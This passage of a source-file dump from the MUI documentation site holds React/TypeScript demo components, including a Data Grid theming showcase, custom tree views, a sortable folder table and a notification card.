<RoadmapStatusDot color=\"success.main\" />\n              </Typography>\n              {renderList(\n                <React.Fragment>\n                  <PivotTableChartRoundedIcon sx={{ fontSize: 16 }} />\n                  Data Grid\n                  <CalendarMonthRoundedIcon sx={{ fontSize: 16 }} />\n                  Date and Time Pickers\n                  <BarChartRounded sx={{ fontSize: 16 }} />\n                  Charts\n                  <AccountTreeRounded sx={{ fontSize: 16 }} />\n                  Tree View\n                </React.Fragment>,\n              )}\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 4, lg: 'auto' }}>\n            <Paper variant=\"outlined\">\n              <Typography\n                component=\"div\"\n                variant=\"body2\"\n                sx={{ fontWeight: 'bold', color: 'text.primary' }}\n              >\n                Work in progress\n                <RoadmapStatusDot color=\"warning.main\" />\n              </Typography>\n              {renderList(\n                <React.Fragment>\n                  <Box sx={{ lineHeight: 0 }}>\n                    <PivotTableChartRoundedIcon sx={{ fontSize: 16 }} />\n                  </Box>\n                  Data Grid\n                  {bullet}\n                  <Typography\n                    variant=\"body2\"\n                    sx={{ color: 'text.secondary', fontWeight: 'medium' }}\n                  >\n                    Charts integration\n                  </Typography>\n                  {bullet}\n                  <Link href={ROUTES.dataGridFeaturesComparison} sx={{ color: 'primary.300' }}>\n                    And more!\n                  </Link>\n                </React.Fragment>,\n                true,\n              )}\n              {renderList(\n                <React.Fragment>\n                  <Box sx={{ lineHeight: 0 }}>\n                    <AccountTreeRounded sx={{ fontSize: 16 }} />\n                  </Box>\n                  Tree View\n                  {bullet}\n                  <Typography\n                    variant=\"body2\"\n                    sx={{ color: 'text.secondary', fontWeight: 'medium' }}\n                  >\n                    Virtualization\n                  </Typography>\n                </React.Fragment>,\n                true,\n              )}\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 4, lg: 'auto' }}>\n            <Paper variant=\"outlined\">\n              <Typography\n                component=\"div\"\n                variant=\"body2\"\n                sx={{ fontWeight: 'bold', color: 'text.primary' }}\n              >\n                Future components\n                <RoadmapStatusDot color=\"primaryDark.400\" />\n              </Typography>\n              {renderList(\n                <React.Fragment>\n                  <FormatSizeRoundedIcon sx={{ fontSize: 16 }} />\n                  Rich Text Editor\n                  <FileUploadRounded sx={{ fontSize: 16 }} />\n                  Upload\n                  <PendingActionsRounded sx={{ fontSize: 16 }} />\n                  Scheduler\n                  <ViewTimelineIcon sx={{ fontSize: 16 }} />\n                  Gantt\n                </React.Fragment>,\n              )}\n            </Paper>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XTheming.tsx",
    "content": "import * as React from 'react';\nimport {\n  DataGridPro,\n  GridColDef,\n  GridCellParams,\n  GridRenderEditCellParams,\n} from '@mui/x-data-grid-pro';\nimport { useDemoData } from '@mui/x-data-grid-generator';\nimport { CssVarsProvider } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport SvgTwinkle from 'docs/src/icons/SvgTwinkle';\nimport SvgMaterialDesign from 'docs/src/icons/SvgMaterialDesign';\nimport XGridGlobalStyles from 'docs/src/components/home/XGridGlobalStyles';\nimport ProgressBar from 'docs/src/components/x-grid/ProgressBar';\nimport EditProgress from 'docs/src/components/x-grid/EditProgress';\nimport Status from 'docs/src/components/x-grid/Status';\nimport EditStatus from 'docs/src/components/x-grid/EditStatus';\n\nconst dataGridStyleOverrides = <XGridGlobalStyles selector=\"#data-grid-theming\" pro />;\n\nexport default function XTheming() {\n  const [customized, setCustomized] = React.useState(true);\n  const { loading, data } = useDemoData({\n    dataSet: 'Commodity',\n    rowLength: 1000,\n    maxColumns: 40,\n    editable: true,\n  });\n  const baseFilledQuantityCol = data.columns.find(({ field }) => field === 'filledQuantity');\n  const baseStatusCol = data.columns.find(({ field }) => field === 'status');\n  function getColumns() {\n    const columns: Array<GridColDef> = [\n      {\n        field: 'desk',\n        headerName: 'Desk',\n        width: customized ? 72 : 100,\n        sortable: false,\n        editable: true,\n      },\n      {\n        field: 'commodity',\n        headerName: 'Commodity',\n        width: customized ? 132 : 160,\n        editable: true,\n      },\n      {\n        field: 'traderName',\n        headerName: 'Trader Name',\n        width: customized ? 148 : 172,\n        editable: true,\n      },\n      {\n        field: 'filledQuantity',\n        headerName: 'Filled',\n        ...baseFilledQuantityCol,\n        width: customized ? 130 : 150,\n        sortable: false,\n        editable: true,\n        ...(customized && {\n          display: 'flex',\n          renderCell: (params: GridCellParams) => {\n            return <ProgressBar value={Number(params.value)!} />;\n          },\n          renderEditCell: (params: GridRenderEditCellParams) => {\n            return <EditProgress {...params} />;\n          },\n        }),\n      },\n      {\n        field: 'status',\n        headerName: 'Status',\n        ...baseStatusCol,\n        width: 150,\n        sortable: false,\n        editable: true,\n        ...(customized && {\n          display: 'flex',\n          renderCell: (params: GridCellParams) => {\n            return <Status status={(params.value || '').toString()} />;\n          },\n          renderEditCell: (params: GridRenderEditCellParams) => {\n            return <EditStatus {...params} />;\n          },\n        }),\n      },\n    ];\n    return columns;\n  }\n  return (\n    <Section bg=\"gradient\">\n      <Grid container spacing={2}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Theming\"\n            title={\n              <Typography variant=\"h2\">\n                Advanced and <GradientText>beautiful</GradientText>\n              </Typography>\n            }\n            description=\"Use sophisticated theming features to make the MUI X components look exactly how you want. Take this Data Grid as an example.\"\n          />\n          <Group sx={{ m: -2, p: 2 }}>\n            <Highlighter disableBorder selected={customized} onClick={() => setCustomized(true)}>\n              <Item\n                icon={<SvgTwinkle />}\n                title=\"Custom theme\"\n                description=\"Theming allows you to use your brand's design tokens, easily making the components reflect its look and feel.\"\n              />\n            </Highlighter>\n            <Highlighter disableBorder selected={!customized} onClick={() => setCustomized(false)}>\n              <Item\n                icon={<SvgMaterialDesign />}\n                title=\"Material Design\"\n                description=\"Every component comes with Google's tried-and-tested design system, built-in and ready for use.\"\n              />\n            </Highlighter>\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          {customized ? (\n            <Paper\n              id=\"data-grid-theming\"\n              variant=\"outlined\"\n              sx={{ height: 418, borderColor: 'divider' }}\n            >\n              {dataGridStyleOverrides}\n              <DataGridPro\n                {...data}\n                columns={getColumns()}\n                disableRowSelectionOnClick\n                checkboxSelection\n                loading={loading}\n                pagination\n                density=\"compact\"\n              />\n            </Paper>\n          ) : (\n            <CssVarsProvider>\n              <Paper\n                elevation={0}\n                sx={[\n                  {\n                    height: 418,\n                    '& .MuiDataGrid-cell[data-field=\"status\"][data-value=\"Rejected\"]': {\n                      '& .MuiChip-root': {\n                        color: red[500],\n                      },\n                    },\n                  },\n                  (theme) =>\n                    theme.applyDarkStyles({\n                      '& .MuiDataGrid-cell[data-field=\"status\"][data-value=\"Rejected\"]': {\n                        '& .MuiChip-root': {\n                          color: red[300],\n                        },\n                      },\n                    }),\n                ]}\n              >\n                <DataGridPro\n                  {...data}\n                  columns={getColumns()}\n                  disableRowSelectionOnClick\n                  checkboxSelection\n                  loading={loading}\n                  pagination\n                  density=\"compact\"\n                />\n              </Paper>\n            </CssVarsProvider>\n          )}\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XTreeViewDemo.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { animated, useSpring } from '@react-spring/web';\nimport { styled } from '@mui/material/styles';\nimport { TransitionProps } from '@mui/material/transitions';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport Frame from 'docs/src/components/action/Frame';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport FolderRounded from '@mui/icons-material/FolderRounded';\nimport FolderOpenRounded from '@mui/icons-material/FolderOpenRounded';\nimport ImageIcon from '@mui/icons-material/Image';\nimport PictureAsPdfIcon from '@mui/icons-material/PictureAsPdf';\nimport VideoCameraBackIcon from '@mui/icons-material/VideoCameraBack';\nimport { RichTreeView } from '@mui/x-tree-view/RichTreeView';\nimport { useTreeItem, UseTreeItemParameters } from '@mui/x-tree-view/useTreeItem';\nimport {\n  TreeItemContent,\n  TreeItemIconContainer,\n  TreeItemLabel,\n  TreeItemRoot,\n  treeItemClasses,\n} from '@mui/x-tree-view/TreeItem';\nimport { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';\nimport { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';\nimport { TreeViewBaseItem } from '@mui/x-tree-view/models';\n\ntype FileType = 'image' | 'pdf' | 'video' | 'folder';\n\ntype ExtendedTreeItemProps = {\n  fileType?: FileType;\n  id: string;\n  label: string;\n};\n\nconst ITEMS: TreeViewBaseItem<ExtendedTreeItemProps>[] = [\n  {\n    id: '1',\n    label: 'Drive',\n    children: [\n      {\n        id: '1.1',\n        label: 'Backup',\n        children: [\n          { id: '1.1.1', label: 'Jan 2023.pdf', fileType: 'pdf' },\n          { id: '1.1.2', label: 'Feb 2023.pdf', fileType: 'pdf' },\n          { id: '1.1.3', label: 'Mar 2023.pdf', fileType: 'pdf' },\n        ],\n      },\n      {\n        id: '1.2',\n        label: 'Photos',\n        children: [\n          { id: '1.2.1', label: 'family.jpeg', fileType: 'image' },\n          { id: '1.2.2', label: 'my_dog.png', fileType: 'image' },\n        ],\n      },\n    ],\n  },\n  {\n    id: '2',\n    label: 'Favorites',\n    children: [\n      {\n        id: '2.1',\n        label: 'MUI_retreat_photo.jpg',\n        fileType: 'image',\n      },\n      {\n        id: '2.2',\n        label: 'v7_secrets.mkv',\n        fileType: 'video',\n      },\n      {\n        id: '2.3',\n        label: 'Other pictures',\n        children: [{ id: '2.3.1', label: 'my_avatar.jpeg', fileType: 'image' }],\n      },\n    ],\n  },\n];\n\ndeclare module 'react' {\n  interface CSSProperties {\n    '--tree-view-color'?: string;\n    '--tree-view-bg-color'?: string;\n  }\n}\n\nconst StyledTreeItemRoot = styled(TreeItemRoot)(({ theme }) => ({\n  color: theme.palette.grey[800],\n  position: 'relative',\n  [`& .${treeItemClasses.groupTransition}`]: {\n    marginLeft: theme.spacing(3.5),\n  },\n  ...theme.applyStyles('dark', {\n    color: theme.palette.grey[400],\n  }),\n})) as unknown as typeof TreeItemRoot;\nconst CustomTreeItemContent = styled(TreeItemContent)(({ theme }) => ({\n  borderRadius: theme.spacing(0.5),\n  marginBottom: theme.spacing(0.2),\n  marginTop: theme.spacing(0.2),\n  padding: `${theme.spacing(0.3)} ${theme.spacing(0.5)}`,\n  '&.Mui-expanded&::before': {\n    content: '\"\"',\n    display: 'block',\n    position: 'absolute',\n    left: '16px',\n    top: '30px',\n    height: 'calc(100% - 32px)',\n    width: '1.5px',\n    backgroundColor: (theme.vars || theme).palette.grey[100],\n    ...theme.applyStyles('dark', {\n      backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n    }),\n  },\n}));\n\nconst AnimatedCollapse = animated(Collapse);\n\nfunction TransitionComponent(props: TransitionProps) {\n  const style = useSpring({\n    to: {\n      opacity: props.in ? 1 : 0,\n      transform: `translate3d(0,${props.in ? 0 : 20}px,0)`,\n      paddingLeft: 24,\n    },\n  });\n\n  return <AnimatedCollapse style={style} {...props} />;\n}\n\ninterface CustomLabelProps {\n  children: React.ReactNode;\n  icon?: React.ElementType;\n  expandable?: boolean;\n}\n\nfunction CustomLabel({ icon: Icon, expandable, children, ...other }: CustomLabelProps) {\n  return (\n    <TreeItemLabel {...other} sx={{ display: 'flex', alignItems: 'center' }}>\n      {Icon && (\n        <Box\n          component={Icon}\n          className=\"labelIcon\"\n          sx={(theme) => ({\n            mr: 1,\n            fontSize: '1rem',\n            color: expandable ? theme.palette.primary.main : theme.palette.grey[600],\n          })}\n        />\n      )}\n      <Typography\n        sx={(theme) => ({\n          fontWeight: expandable\n            ? theme.typography.fontWeightMedium\n            : theme.typography.fontWeightRegular,\n          color: expandable ? theme.palette.text.primary : theme.palette.text.secondary,\n        })}\n        variant=\"body2\"\n      >\n        {children}\n      </Typography>\n    </TreeItemLabel>\n  );\n}\n\nconst isExpandable = (reactChildren: React.ReactNode) => {\n  if (Array.isArray(reactChildren)) {\n    return reactChildren.length > 0 && reactChildren.some(isExpandable);\n  }\n  return Boolean(reactChildren);\n};\n\nconst getIconFromFileType = (fileType: FileType) => {\n  switch (fileType) {\n    case 'image':\n      return ImageIcon;\n    case 'pdf':\n      return PictureAsPdfIcon;\n    case 'video':\n      return VideoCameraBackIcon;\n    case 'folder':\n      return FolderRounded;\n    default:\n      return FolderRounded;\n  }\n};\n\ninterface CustomTreeItemProps\n  extends\n    Omit<UseTreeItemParameters, 'rootRef'>,\n    Omit<React.HTMLAttributes<HTMLLIElement>, 'onFocus'> {}\n\nconst CustomTreeItem = React.forwardRef(function CustomTreeItem(\n  props: CustomTreeItemProps,\n  ref: React.Ref<HTMLLIElement>,\n) {\n  const { id, itemId, label, disabled, children, ...other } = props;\n\n  const {\n    getRootProps,\n    getContentProps,\n    getIconContainerProps,\n    getLabelProps,\n    getGroupTransitionProps,\n    status,\n    publicAPI,\n  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });\n\n  const item = publicAPI.getItem(itemId);\n  const expandable = isExpandable(children);\n  let icon;\n  if (expandable) {\n    if (status.expanded) {\n      icon = FolderOpenRounded;\n    } else {\n      icon = FolderRounded;\n    }\n  } else if (item.fileType) {\n    icon = getIconFromFileType(item.fileType);\n  }\n\n  return (\n    <TreeItemProvider id={id} itemId={itemId}>\n      <StyledTreeItemRoot {...getRootProps(other)}>\n        <CustomTreeItemContent\n          {...getContentProps({\n            className: clsx('content', {\n              'Mui-expanded': status.expanded,\n              'Mui-selected': status.selected,\n              'Mui-focused': status.focused,\n              'Mui-disabled': status.disabled,\n            }),\n          })}\n        >\n          {expandable && (\n            <TreeItemIconContainer {...getIconContainerProps()}>\n              <TreeItemIcon status={status} />\n            </TreeItemIconContainer>\n          )}\n\n          <CustomLabel {...getLabelProps({ icon, expandable })} />\n        </CustomTreeItemContent>\n        {children && <TransitionComponent {...getGroupTransitionProps()} />}\n      </StyledTreeItemRoot>\n    </TreeItemProvider>\n  );\n});\n\nconst code = `\n<RichTreeView\n  items={ITEMS}\n  aria-label=\"File explorer\"\n  defaultExpandedItems={['1', '1.1', '1.2', '2']}\n  defaultSelectedItems=\"1.1\"\n  sx={{ height: 'fit-content', flexGrow: 1 }}\n  slots={{ item: CustomTreeItem }}\n/>`;\n\nexport default function XTreeViewDemo() {\n  return (\n    <Frame>\n      <Frame.Demo sx={{ p: 2 }}>\n        <Paper\n          variant=\"outlined\"\n          sx={(theme) => ({\n            maxWidth: '100%',\n            bgcolor: '#FFF',\n            borderRadius: '8px',\n            padding: 2,\n            ...theme.applyDarkStyles({\n              bgcolor: 'primaryDark.900',\n            }),\n          })}\n        >\n          <RichTreeView\n            items={ITEMS}\n            aria-label=\"File explorer\"\n            defaultExpandedItems={['1', '1.1', '1.2', '2']}\n            defaultSelectedItems=\"1.1\"\n            sx={{ height: 'fit-content', flexGrow: 1 }}\n            slots={{ item: CustomTreeItem }}\n          />\n        </Paper>\n      </Frame.Demo>\n      <Frame.Info data-mui-color-scheme=\"dark\" sx={{ maxHeight: 300, overflow: 'auto' }}>\n        <HighlightedCode copyButtonHidden plainStyle code={code} language=\"jsx\" />\n      </Frame.Info>\n    </Frame>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/FolderTable.tsx",
    "content": "import * as React from 'react';\nimport { Theme, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell, { tableCellClasses } from '@mui/material/TableCell';\nimport TableSortLabel from '@mui/material/TableSortLabel';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\nimport { visuallyHidden } from '@mui/utils';\nimport Folder from '@mui/icons-material/Folder';\n\nconst data = [\n  { name: 'Typography', size: 125600 },\n  { name: 'Pictures & videos', size: 134000000 },\n  { name: 'Source files', size: 200000000 },\n  { name: 'Dependencies', size: 44000000 },\n  { name: 'Assets & illustrations', size: 21000000 },\n  { name: 'Components', size: 11000 },\n];\n\ntype Data = typeof data extends Array<infer T> ? T : never;\n\ntype Order = 'asc' | 'desc';\n\nfunction descendingComparator<T>(a: T, b: T, orderBy: keyof T) {\n  if (b[orderBy] < a[orderBy]) {\n    return -1;\n  }\n  if (b[orderBy] > a[orderBy]) {\n    return 1;\n  }\n  return 0;\n}\n\nfunction getComparator<Key extends keyof any>(\n  order: Order,\n  orderBy: Key,\n): (a: { [key in Key]: number | string }, b: { [key in Key]: number | string }) => number {\n  return order === 'desc'\n    ? (a, b) => descendingComparator(a, b, orderBy)\n    : (a, b) => -descendingComparator(a, b, orderBy);\n}\n\nfunction formatSize(size: number) {\n  const kb = size / 1000;\n  if (kb < 1000) {\n    return `${kb.toFixed(1)} kB`;\n  }\n  return `${(kb / 1000).toFixed(0)} MB`;\n}\n\nexport default function BasicTable() {\n  const [order, setOrder] = React.useState<Order>('asc');\n  const [orderBy, setOrderBy] = React.useState<keyof Data>('name');\n  const handleRequestSort = (event: React.MouseEvent<unknown>, property: keyof Data) => {\n    const isAsc = orderBy === property && order === 'asc';\n    setOrder(isAsc ? 'desc' : 'asc');\n    setOrderBy(property);\n  };\n  const createSortHandler = (property: keyof Data) => (event: React.MouseEvent<unknown>) => {\n    handleRequestSort(event, property);\n  };\n  const headCells = [\n    { id: 'name', label: 'Name', TableCellProps: {} },\n    { id: 'size', label: 'Size', TableCellProps: { align: 'right' } },\n  ] as const;\n  return (\n    <TableContainer\n      component={Paper}\n      variant=\"outlined\"\n      sx={[\n        {\n          maxWidth: 260,\n          borderColor: 'grey.200',\n          boxShadow: (theme) => `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n          [`& .${tableCellClasses.root}`]: {\n            borderColor: 'grey.200',\n          },\n          [`& .${tableCellClasses.sizeSmall}`]: {\n            padding: '0.625rem 1rem',\n          },\n        },\n        (theme) =>\n          theme.applyDarkStyles({\n            bgcolor: 'primaryDark.900',\n            borderColor: 'primaryDark.700',\n            boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n            [`& .${tableCellClasses.root}`]: {\n              borderColor: 'primaryDark.700',\n            },\n          }),\n      ]}\n    >\n      <Table aria-label=\"folder table\" size=\"small\">\n        <TableHead>\n          <TableRow>\n            {headCells.map((headCell) => (\n              <TableCell\n                key={headCell.id}\n                sortDirection={orderBy === headCell.id ? order : false}\n                {...headCell.TableCellProps}\n              >\n                <TableSortLabel\n                  active={orderBy === headCell.id}\n                  direction={orderBy === headCell.id ? order : 'asc'}\n                  onClick={createSortHandler(headCell.id)}\n                  sx={{ fontSize: '0.75rem', color: 'text.secondary' }}\n                >\n                  {headCell.label}\n                  {orderBy === headCell.id ? (\n                    <Box component=\"span\" sx={visuallyHidden}>\n                      {order === 'desc' ? 'sorted descending' : 'sorted ascending'}\n                    </Box>\n                  ) : null}\n                </TableSortLabel>\n              </TableCell>\n            ))}\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {[...data].sort(getComparator(order, orderBy)).map((row) => (\n            <TableRow key={row.name} sx={{ '&:last-child td, &:last-child th': { border: 0 } }}>\n              <TableCell component=\"th\" scope=\"row\">\n                <Box sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n                  <Folder fontSize=\"small\" sx={{ color: 'primary.400' }} />\n                  <Typography sx={{ fontSize: 13, fontWeight: 500, color: 'text.primary' }}>\n                    {row.name}\n                  </Typography>\n                </Box>\n              </TableCell>\n              <TableCell align=\"right\">\n                <Typography\n                  sx={[\n                    {\n                      fontSize: 13,\n                      fontWeight: 'bold',\n                    },\n                    (theme: Theme) => ({\n                      mr: 1,\n                      color: 'success.800',\n                      ...theme.applyDarkStyles({\n                        color: 'success.500',\n                      }),\n                    }),\n                  ]}\n                >\n                  {formatSize(row.size)}\n                </Typography>\n              </TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/FolderTreeView.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { animated, useSpring } from '@react-spring/web';\nimport { styled } from '@mui/material/styles';\nimport { TransitionProps } from '@mui/material/transitions';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowDownRounded from '@mui/icons-material/KeyboardArrowDownRounded';\nimport KeyboardArrowUpRounded from '@mui/icons-material/KeyboardArrowUpRounded';\nimport FolderRounded from '@mui/icons-material/FolderRounded';\nimport { RichTreeView } from '@mui/x-tree-view/RichTreeView';\nimport {\n  treeItemClasses,\n  TreeItemContent,\n  TreeItemIconContainer,\n  TreeItemLabel,\n  TreeItemRoot,\n} from '@mui/x-tree-view/TreeItem';\nimport { useTreeItem, UseTreeItemParameters } from '@mui/x-tree-view/useTreeItem';\nimport { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';\nimport { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';\nimport { TreeViewBaseItem } from '@mui/x-tree-view/models';\n\ntype ExtendedTreeItemProps = {\n  id: string;\n  label: string;\n  color?: 'primary' | 'default';\n};\n\nconst ITEMS: TreeViewBaseItem<ExtendedTreeItemProps>[] = [\n  {\n    id: '1',\n    label: 'src',\n    color: 'primary',\n    children: [\n      {\n        id: '1.1',\n        label: 'components',\n        children: [\n          { id: '1.1.1', label: 'Button.tsx' },\n          { id: '1.1.2', label: 'Drawer.tsx' },\n          { id: '1.1.3', label: 'Navbar.tsx' },\n          { id: '1.1.4', label: 'TreeView.tsx' },\n        ],\n      },\n      {\n        id: '1.2',\n        label: 'blocks',\n        children: [\n          { id: '1.2.1', label: 'SignupPage.tsx' },\n          {\n            id: '1.2.2',\n            label: 'PricingTable',\n            children: [\n              { id: '1.2.2.1', label: 'PaymentOptions.tsx' },\n              { id: '1.2.2.2', label: 'EarlyBirdDiscount.tsx' },\n            ],\n          },\n        ],\n      },\n    ],\n  },\n];\n\nfunction DotIcon() {\n  return (\n    <Box\n      sx={{ width: 6, height: 6, borderRadius: '50%', bgcolor: 'warning.main', zIndex: 1, mr: 1 }}\n    />\n  );\n}\n\ndeclare module 'react' {\n  interface CSSProperties {\n    '--tree-view-color'?: string;\n    '--tree-view-bg-color'?: string;\n  }\n}\n\nconst StyledTreeItemRoot = styled(TreeItemRoot)(({ theme }) => ({\n  color: theme.palette.grey[800],\n  position: 'relative',\n  [`& .${treeItemClasses.groupTransition}`]: {\n    paddingLeft: theme.spacing(0.5),\n  },\n  ...theme.applyStyles('dark', {\n    color: theme.palette.grey[400],\n  }),\n})) as unknown as typeof TreeItemRoot;\nconst CustomTreeItemContent = styled(TreeItemContent)(({ theme }) => ({\n  borderRadius: theme.spacing(0.5),\n  '&.Mui-expanded&::before': {\n    content: '\"\"',\n    display: 'block',\n    position: 'absolute',\n    left: '15px',\n    top: '28px',\n    height: 'calc(100% - 28px)',\n    width: '1.5px',\n    backgroundColor: (theme.vars || theme).palette.grey[100],\n    ...theme.applyStyles('dark', {\n      backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n    }),\n  },\n}));\n\nconst AnimatedCollapse = animated(Collapse);\n\nfunction TransitionComponent(props: TransitionProps) {\n  const style = useSpring({\n    to: {\n      opacity: props.in ? 1 : 0,\n      transform: `translate3d(0,${props.in ? 0 : 20}px,0)`,\n      paddingLeft: 24,\n    },\n  });\n\n  return <AnimatedCollapse style={style} {...props} />;\n}\n\ninterface CustomLabelProps {\n  children: React.ReactNode;\n  expandable?: boolean;\n  color: string;\n}\n\nfunction CustomLabel({ color, expandable, children, ...other }: CustomLabelProps) {\n  let Icon: null | React.ElementType = null;\n  if (expandable) {\n    Icon = FolderRounded;\n  } else {\n    Icon = DotIcon;\n  }\n  return (\n    <TreeItemLabel {...other} sx={{ display: 'flex', alignItems: 'center' }}>\n      {Icon && (\n        <Box component={Icon} className=\"labelIcon\" sx={{ mr: 1, fontSize: '1rem', color }} />\n      )}\n      <Typography\n        sx={(theme) => ({\n          fontWeight: expandable\n            ? theme.typography.fontWeightMedium\n            : theme.typography.fontWeightRegular,\n        })}\n        variant=\"body2\"\n      >\n        {children}\n      </Typography>\n    </TreeItemLabel>\n  );\n}\n\nconst isExpandable = (reactChildren: React.ReactNode): boolean => {\n  if (Array.isArray(reactChildren)) {\n    return reactChildren.length > 0 && reactChildren.some(isExpandable);\n  }\n  return Boolean(reactChildren);\n};\n\ninterface CustomTreeItemProps\n  extends\n    Omit<UseTreeItemParameters, 'rootRef'>,\n    Omit<React.HTMLAttributes<HTMLLIElement>, 'onFocus'> {}\n\nconst CustomTreeItem = React.forwardRef(function CustomTreeItem(\n  props: CustomTreeItemProps,\n  ref: React.Ref<HTMLLIElement>,\n) {\n  const { id, itemId, label, disabled, children, ...other } = props;\n\n  const {\n    getRootProps,\n    getContentProps,\n    getIconContainerProps,\n    getLabelProps,\n    getGroupTransitionProps,\n    status,\n    publicAPI,\n  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });\n\n  const item = publicAPI.getItem(itemId);\n  const expandable = isExpandable(children);\n\n  return (\n    <TreeItemProvider id={id} itemId={itemId}>\n      <StyledTreeItemRoot {...getRootProps(other)}>\n        <CustomTreeItemContent\n          {...getContentProps({\n            className: clsx('content', {\n              'Mui-expanded': status.expanded,\n              'Mui-selected': status.selected,\n              'Mui-focused': status.focused,\n              'Mui-disabled': status.disabled,\n            }),\n          })}\n        >\n          <CustomLabel\n            {...getLabelProps({\n              expandable,\n              color: item?.color === 'primary' ? 'primary.main' : 'grey.600',\n            })}\n          />\n          {expandable && (\n            <TreeItemIconContainer {...getIconContainerProps()}>\n              <TreeItemIcon status={status} />\n            </TreeItemIconContainer>\n          )}\n        </CustomTreeItemContent>\n        {children && <TransitionComponent {...getGroupTransitionProps()} />}{' '}\n      </StyledTreeItemRoot>\n    </TreeItemProvider>\n  );\n});\nfunction CustomEndIcon() {\n  return <div style={{ width: 24 }} />;\n}\n\nfunction CustomExpandIcon() {\n  return <KeyboardArrowDownRounded sx={{ fontSize: 16, color: 'primary.main' }} />;\n}\n\nfunction CustomCollapseIcon() {\n  return <KeyboardArrowUpRounded sx={{ fontSize: 16, color: 'primary.main' }} />;\n}\n\nexport default function TreeViewDemo() {\n  return (\n    <RichTreeView\n      items={ITEMS}\n      aria-label=\"file explorer\"\n      defaultExpandedItems={['1', '1.1', '1.2', '1.2.2']}\n      defaultSelectedItems=\"1.1\"\n      sx={{ height: 'fit-content', flexGrow: 1, p: 1 }}\n      itemChildrenIndentation={0}\n      slots={{\n        item: CustomTreeItem,\n        endIcon: CustomEndIcon,\n        expandIcon: CustomExpandIcon,\n        collapseIcon: CustomCollapseIcon,\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/NotificationCard.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport Chip from '@mui/material/Chip';\nimport Fade from '@mui/material/Fade';\nimport Typography from '@mui/material/Typography';\n\nexport default function NotificationCard() {\n  return (\n    <Fade in timeout={700}>\n      <Card\n        variant=\"outlined\"\n        sx={(theme) => ({\n          display: 'flex',\n          p: 2,\n          gap: 2,\n          maxWidth: 283,\n          borderColor: 'grey.200',\n          boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n          ...theme.applyDarkStyles({\n            bgcolor: 'primaryDark.900',\n            borderColor: 'primaryDark.700',\n            boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n          }),\n        })}\n      >\n        <Box\n          sx={(theme) => ({\n            height: 'fit-content',\n            p: 0.5,\n            bgcolor: 'primary.50',\n            border: '1px solid',\n            borderColor: 'primary.200',\n            borderRadius: 99,\n            ...theme.applyDarkStyles({\n              borderColor: 'primary.800',\n              bgcolor: alpha(theme.palette.primary[900], 0.5),\n            }),\n          })}\n        >\n          <Avatar\n            slotProps={{ img: { 'aria-labelledby': 'demo-notification-card-messenger-name' } }}\n            src=\"/static/images/avatar/3.jpg\"\n            sx={{ width: 40, height: 40 }}\n          />\n        </Box>\n        <Box sx={{ flexGrow: 1 }}>\n          <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n            <Typography\n              id=\"demo-notification-card-messenger-name\"\n              gutterBottom\n              sx={{ color: 'primary.main', fontWeight: 'semiBold', fontSize: 12 }}\n            >\n              Angela Erickson\n            </Typography>\n            <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n              09:41\n            </Typography>\n          </Box>\n          <Box sx={{ display: 'flex', gap: 2 }}>\n            <div>\n              <Typography sx={{ fontWeight: 'semiBold', fontSize: 14 }}>\n                Incredible discoveries\n              </Typography>\n              <Typography sx={{ fontSize: 14, color: 'text.secondary' }}>\n                It&apos;s about Material UI...\n              </Typography>\n            </div>\n            <Chip\n              label=\"3\"\n              size=\"small\"\n              variant=\"outlined\"\n              color=\"success\"\n              sx={{ ml: 'auto', fontSize: '0.75rem', height: 18 